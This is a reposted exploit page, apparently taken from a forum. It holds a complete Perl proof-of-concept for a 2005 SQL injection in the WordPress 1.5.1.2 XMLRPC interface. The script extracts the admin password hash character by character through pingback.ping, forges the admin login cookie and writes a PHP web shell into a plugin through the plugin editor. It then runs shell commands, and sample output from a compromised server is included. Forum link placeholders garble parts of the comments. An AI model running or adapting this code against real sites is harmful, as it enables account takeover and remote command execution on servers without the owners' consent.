WordPress 1.5.1.2 XMLRPC Module Remote SQL Injection Exploit

Advisory : FrSIRT/ADV-2005-0925
Rated as : Moderate Risk

#!/usr/bin/perl -w
##############################################
# Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection #
##############################################
# By James Bercegay //
Para ver este enlace Registrate o Inicia Sesion // June 21 2005 #
##############################################
# Quick and dirty proof of concept that uses the XML RPC server #
# vulnerabilitie s I discovered to extract a password hash & use #
# that hash to execute shell commands on the server as httpd

#
##############################################
# Technical details of WordPress XMLRPC Interface SQL Injection #
##############################################
# The vulnerability exist because all XMLRPC data is taken from #
# the HTTP_RAW_POST_ DATA variable, and never sanatized properly #
# thus leaving the doors open for attack. Also, most if not all #
# the functions in xmlrpc.php are vulnerable to similar attacks #
##############################################
#
# C:\Documents and Settings\James\Desktop>
# wp.pl
Para ver este enlace Registrate o Inicia Sesion admin 1 "id;uname -a;pwd;uptime"
#

Trying Host
Para ver este enlace Registrate o Inicia Sesion ...

The XMLRPC server seems to be working

Char 1 is 2

Char 2 is 1

Char 3 is 2

Char 4 is 3

Char 5 is 2

Char 6 is f

Char 7 is 2

Char 8 is 9

Char 9 is 7

Char 10 is a

Char 11 is 5

Char 12 is 7

Char 13 is a

Char 14 is 5

Char 15 is a

Char 16 is 7

Char 17 is 4

Char 18 is 3

Char 19 is 8

Char 20 is 9

Char 21 is 4

Char 22 is a

Char 23 is 0

Char 24 is e

Char 25 is 4

Char 26 is a

Char 27 is 8

Char 28 is 0

Char 29 is 1

Char 30 is f

Char 31 is c

Char 32 is 3

Host :
Para ver este enlace Registrate o Inicia Sesion

User : admin

Hash : 21232f297a57a5 a743894a0e4a80 1fc3

Attempting to create shell ..

Trying filename hello.php ...

Trying to activate hello.php ...

Trying to execute id;uname -a;pwd;uptime ...

Successfully executed id;uname -a;pwd;uptime

#
# uid=1979(gulftech) gid=500(customer) groups=500(customer)
# FreeBSD example.com 4.10-RELEASE FreeBSD 4.10-RELEASE #0: Tue Jan 1
# 1 22:44:03 PST 2005 james@example.com:/usr/src/sys/compile/EXAMPLE i386
#
# /www/htdocs/wp/wp-admin
# 8:07AM up 35 days, 20:01, 1 user, load averages: 7.98, 8.24, 8.14
#
###################################################

use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

my $ua = new LWP::UserAgent;
$ua->agent("Wordpress Hash Grabber v1.0" . $ua->agent);

my @char = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $host = $ARGV[0]; # The path to xmlrpc.php
my $user = $ARGV[1]; # The target login, default wp user is admin
my $post = $ARGV[2]; # Must be a valid pingback or part
# of an entry title, very easy to
# obtain if you know how to read

my $exec = $ARGV[3]; # Command to execute
my $pref = 'wp_'; # database prefix!
my $hash = '';

if ( !$ARGV[2] )
{
die("Im Not Psychic ..\n");
}

print "

Trying Host $host ...\n";

my $res = $ua->get($host.'/xmlrpc.php');

if ( $res->content =~ /XML-RPC server accepts POST requests only/is )
{
print "

The XMLRPC server seems to be working \n";

}
else
{
print "[!] Something seems to be wrong with the XMLRPC server \n ";
# Sloppy way of debugging, remove if you want
open(LOG, ">wp_out.html"); print LOG $res->content;
exit;
}

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
# oh my!

my $sql = "<?xml version=\"1.0\"?><methodCall>
<methodName>pingback.ping</methodName>
<params><param><value>
<string>foobar' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM " . $pref . "
users WHERE (user_login='$user' AND MID(user_pass,$i,1)='$char[$j]')/*</string>
</value></param><param><value><string>$host/?p=$post#$post</string>
</value></param><param><value><string>admin</string></value>
</param></params></methodCall>";

# Remove the content type so $HTTP_RAW_POST_DATA is
# populated. php.net guys, pleeeeaaase fix this!

my $req = new HTTP::Request POST => $host . "/xmlrpc.php";
$req->content($sql);
$res = $ua->request($req);
$out = $res->content;

if ( $out =~ /The pingback has already been registered/)
{
$hash .= $char[$j];
print "

Char $i is $char[$j]\n";

last;
}

}

if ( length($hash) < 1 )
{
# Sloppy way of debugging, remove if you want
open(LOG, ">wp_out.html"); print LOG $out;

print "[!] $host not vulnerable? Better verify manually!\n";
exit;
}
if ( $out =~ /<value><int>0<\/int><\/value>/)
{
print "[!] Invalid post information specified! \n";
exit;
}

# Probably exploitable, but not by using default SQL query. The
#

{5} regex may be a bad idea bit ive never seen a md5 thats

# got 5 0's at the very beginning of it.
if ( $out =~ /different number of columns/is || $hash =~ /([0]{5})/ )
{
# Sloppy way of debugging, remove if you want
open(LOG, ">wp_out.html"); print LOG $out;

print "[!] The database structured has been altered, check manually \n";
exit;
}

}

# Verbose
print "

Host : $host\n";

print "

User : $user\n";

print "

Hash : $hash\n";

# We got the hash, so we are guaranteed admin
# even if we can not successfully execute!

print "

Attempting to create shell .. \n";

# Here we md5 the passhash, as well as the host
# in order to get the cookie hash, and the pass
# hash values respectively.
my $ckey = md5_hex($host);
$hash = md5_hex($hash);

# Create the cookie used to make all admin requests
my @cookie = ('Referer' => $host.'/wp-admin/plugins.php;','Cookie' =>
'wordpressuser_'.$ckey.'='.$user.'; wordpresspass_'.$ckey.'='. $hash);
$res = $ua->get($host.'/wp-admin/plugin-editor.php', @cookie);

# Let's get the filename from the plugin editor
if ( $res->content =~ /<strong>(.*)\.php<\/strong>/i )
{
# Seems our request went okay, and we have the filename!
my @list = ($1.'.php', 'hello.php', 'markdown.php', 'textile1.php');
my $file;

# Make it work one way or another

foreach $file (@list)
{

print "

Trying filename $file ...\n";

$res = $ua->get($host.'/wp-admin/plugin-editor.php?file='.$file, @cookie);

if ( $res->content =~ /<textarea[^>]*>(.*)<\/textarea>/is )
{
# This is the file contents
my $data = $1;

# Quick and dirty way to fix the data recieved
# so that it executes and does not cause error
$data =~ s/>/>/ig;
$data =~ s/</</ig;
$data =~ s/"/"/ig;
$data =~ s/&/&/ig;

# We use the <cmdout> tag to make it easy to grab out command output
my $add = ( $data =~ /<cmdout>(.*)<\/cmdout>/is ) ? '': '<cmdout>
<?php if ( !empty($_REQUEST["cmd"]) ) passthru($_REQUEST["cmd"]); ?></cmdout>';

# Adding our php code to the selected plugin
$res = $ua->post($host . "/wp-admin/plugin-editor.php",
['newcontent' => $add.$data, 'action' => 'update', 'file' => $file, 'submit' => 'foobar'], @cookie);

# Trying to activate the plugin. If the requests doesn't succeed
# then the command execution will fail unless the plugin has had
print "

Trying to activate $file ... \n";

$res = $ua->get($host.'/wp-admin/plugins.php?action=activate&plugin='.$file , @cookie);

# Depending on the plugin this should execute
# our command, else we try the file directly!
# this works everytime on the default install
print "

Trying to execute $exec ... \n";

$res = $ua->get($host.'/wp-admin/plugins.php?cmd='.$exec, @cookie);

# It seems we have executed our command successfully
if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
{
# Send results to STDOUT
print "

Successfully executed $exec\n\n\n";

print $1;
exit;
}
else
{
# No luck with that particular method, so
# we will try to access the modified file
print "[!] Couldnt execute command $exec\n";
open(LOG, ">wp_out.html"); print LOG $res->content;

# Trying to access the file directly and execute
print "[!] Trying to access $file directly!\n";
$res = $ua->get($host.'/wp-content/plugins/'.$file.'?cmd='.$exec, @cookie);

# It seems we have executed our command successfully
if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
{
# Send results to STDOUT
print "

Successfully executed $exec\n\n\n";

print $1;
exit;
}
else
{
# No luck, better take a look at things manually
print "[!] Couldnt execute command $exec\n";
print "

Try $host/wp-content/plugins/$file manually\n";

}
}
}
else
{
# Unable to get the file contents
print "[!] Could not read file $file \n";
open(LOG, ">wp_out.html"); print LOG $res->content . $file;
}

}

}
else
{
# Unable to get the plugin information
print "[!] Could Not Get Plugin Information\n";
open(LOG, ">wp_out.html"); print LOG $res->content;
}

# fin
exit;